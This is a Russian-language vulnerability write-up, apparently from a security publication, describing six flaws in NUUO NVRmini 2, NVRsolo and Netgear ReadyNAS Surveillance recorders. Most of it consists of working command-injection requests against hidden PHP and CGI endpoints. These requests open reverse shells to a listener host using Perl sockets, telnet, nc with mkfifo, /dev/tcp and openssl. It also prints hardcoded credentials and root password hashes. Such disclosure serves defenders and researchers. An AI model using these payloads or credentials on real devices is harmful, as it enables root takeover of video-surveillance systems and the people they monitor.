Уязвимость 1. Неправильная проверка вводимых данных приводит к удаленному выполнению кода Веб-интерфейс содержит скрытый файл с именем __debugging_center_ utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system(). Смотрите скрин Доступ к этому файлу может получить любой неавторизованный пользова- тель. В итоге мы можем сделать следующее: ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3a Socket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3a INET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b $~->fdopen($c,w)%3bsystem$_+while<>%3b' NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999- м порту, а вывод получает 9998-й порт. Команды выполняются с правами root: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168 .1.204+9999+|+bash+|+telnet+192.168.1.204+9998 Уязвимость 2. Неправильная проверка вводимых данных приводит к удаленному выполнению кода Скрипт handle_daylightsaving.php недостаточно надежно проверяет пара- метр NTPServer и передает его значение в функцию system(). Смотрите скрин Для доступа к этому файлу уже нужна учетная запись авторизованного поль- зователя с правами администратора. ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b +whoami+>+/tmp/test NVRmini 2 и NVRsolo. Открываем шелл с правами root: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/ f%3bmk fo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204 +9000+>/tmp/f Crystal. Можем открыть шелл с правами root: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i +>%26+/dev/tcp/192.168.1.204/4444+0>%26 ------------ Уязвимость 3. Сброс пароля администратора ----------- В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованный пользователи могли обратиться к файлу cgi_system из веб-интерфей- са. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль ад- министратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость: GET /cgi-bin/cgi_system?cmd=loaddefcon g ------------ Уязвимость 4. Раскрытие информации ---------------- В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженны- ми логином и паролем, которые позволяют просмотреть список текущих про- цессов, информацию о доступной памяти и статус файловой системы. Эта ин- формация может быть получена неавторизованным пользователем с помощью следующего запроса: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit --------------- Уязвимость 5. Захардкоженный пароль администратора ------------- NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo. NVRmini 2 #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: -------- Уязвимость 6. Инъекция команд в transfer_license --------- У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя. В команду transfer_license можно внедрить свою команду через пара- метр sn: cgi_main?cmd=transfer_license&method=of ine&sn=";<command>;# Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода). NVRmini 2. Можно открыть шелл на порту 4444: GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b nc+-l+-p+4444+-e+/bin/sh+%26+%23 В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444: GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b mk fo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client +-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=of ine &sn=<PAYLOAD>' Исполняемый файл cgi_main находится в /apps/surveillance/bin/cgi_ main на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main.